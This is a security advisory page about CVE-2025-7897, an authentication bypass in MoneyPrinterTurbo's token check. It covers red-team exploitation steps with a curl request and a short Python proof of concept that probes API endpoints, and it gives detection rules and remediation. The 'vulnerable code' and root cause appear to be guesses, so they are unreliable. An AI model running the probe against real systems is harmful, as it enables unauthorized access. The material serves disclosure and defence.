CVE-2025-7897
Executive Summary
CVE-2025-7897 is a critical authentication bypass vulnerability in the verify_token function of the app/controllers/base.py file within the MoneyPrinterTurbo application (versions up to 1.2.6). This flaw allows an unauthenticated remote attacker to bypass token verification, potentially gaining unauthorized access to all API endpoints. The vulnerability is classified as critical due to the complete lack of authentication required for exploitation, leading to a high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the MoneyPrinterTurbo Python application, which is distributed via PyPI. Users who have installed this package from PyPI are at risk. The lack of a patch or official advisory from the vendor (Harry0703) increases the supply chain risk, as no fix is currently available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
- Confidentiality (C): High (H) – Full access to sensitive data.
- Integrity (I): High (H) – Full control over data modification.
- Availability (A): High (H) – Potential for denial of service or system disruption.
CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate action required.
Deep Dive & Mechanics
The vulnerability resides in the verify_token function within app/controllers/base.py. This function is responsible for validating authentication tokens for API requests. The flaw allows an attacker to bypass this check entirely, meaning any request to an API endpoint that relies on verify_token will be processed without proper authentication.
The root cause is likely a logic error in the token validation process, such as:
- Accepting an empty or null token as valid.
- Failing to properly check the token against a database or cache.
- Using a weak or predictable token generation algorithm that can be brute-forced.
An attacker can exploit this by sending crafted HTTP requests to any API endpoint that calls verify_token. Since the function fails to enforce authentication, the attacker gains the same privileges as an authenticated user.
Vulnerable vs. Patched Code
Vulnerable Code (app/controllers/base.py - verify_token function):
def verify_token():
token = request.headers.get('Authorization')
if not token:
return True # BUG: Allows unauthenticated access
# ... further validation logic that may also be flawed
Patched Code (Hypothetical fix):
def verify_token():
token = request.headers.get('Authorization')
if not token:
abort(401, description="Missing authentication token")
# Proper validation logic
if not validate_token(token):
abort(401, description="Invalid authentication token")
return True
The vulnerable code returns True when no token is provided, effectively bypassing authentication. The patched version rejects requests without a valid token.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy MoneyPrinterTurbo v1.2.6 in a controlled environment.
- Identify API endpoints that use
verify_token(e.g.,/api/status,/api/config).
Exploitation Steps:
- Send a request to an API endpoint without an
Authorizationheader:curl -X GET http://target:port/api/status - Observe that the request is processed successfully, indicating authentication bypass.
- For more advanced exploitation, use tools like Burp Suite or custom scripts to enumerate and interact with all API endpoints.
Proof of Concept (PoC):
import requests
target = "http://target:port"
endpoints = ["/api/status", "/api/config", "/api/users"]
for endpoint in endpoints:
r = requests.get(f"{target}{endpoint}")
if r.status_code == 200:
print(f"[+] Unauthenticated access to {endpoint}")
else:
print(f"[-] Access denied to {endpoint}")
Blue Team
Detection:
- Monitor for requests to API endpoints without an
Authorizationheader. - Look for unusual patterns in API access logs, such as repeated requests to sensitive endpoints from unknown IPs.
Mitigation:
- Immediately restrict network access to the MoneyPrinterTurbo application until a patch is applied.
- Implement a Web Application Firewall (WAF) rule to block requests missing the
Authorizationheader. - Monitor for any exploitation attempts and review logs for unauthorized access.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to MoneyPrinterTurbo API endpoints without an
Authorizationheader. - Unusual traffic patterns from IPs not associated with legitimate users.
- HTTP requests to MoneyPrinterTurbo API endpoints without an
- File IOCs:
- Modified
app/controllers/base.pyfile (if attacker attempts to patch). - Presence of unauthorized scripts or tools on the server.
- Modified
- Log IOCs:
- Log entries showing successful API calls without authentication.
- Repeated 200 OK responses for endpoints that should require authentication.
Detection Engineering
YARA Rule
rule CVE_2025_7897_MoneyPrinterTurbo_AuthBypass {
meta:
description = "Detects vulnerable verify_token function in MoneyPrinterTurbo"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-7897"
strings:
$vuln_func = "def verify_token():" ascii wide
$vuln_logic = "if not token:" ascii wide
$vuln_return = "return True" ascii wide
condition:
all of them
}
Sigma Rule
title: CVE-2025-7897 - MoneyPrinterTurbo Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to MoneyPrinterTurbo API endpoints without Authorization header
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/'
cs-headers|contains: 'Authorization:'
condition: not selection
falsepositives:
- Legitimate unauthenticated endpoints (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7897 - MoneyPrinterTurbo Auth Bypass Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/"; http.header_names; content:!"Authorization"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or restrict network access to the MoneyPrinterTurbo application.
- Implement a WAF rule to block requests without an
Authorizationheader. - Monitor logs for any signs of exploitation.
Long-term Fix:
- Apply the official patch from the vendor once available.
- If no patch is forthcoming, manually fix the
verify_tokenfunction as shown in the patched code example. - Consider migrating to an alternative solution if the vendor does not respond.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Enable detailed logging for all API requests.
User Awareness:
- Notify users of the vulnerability and advise them to update or apply mitigations.
Valters IT
Securing Digital Frontiers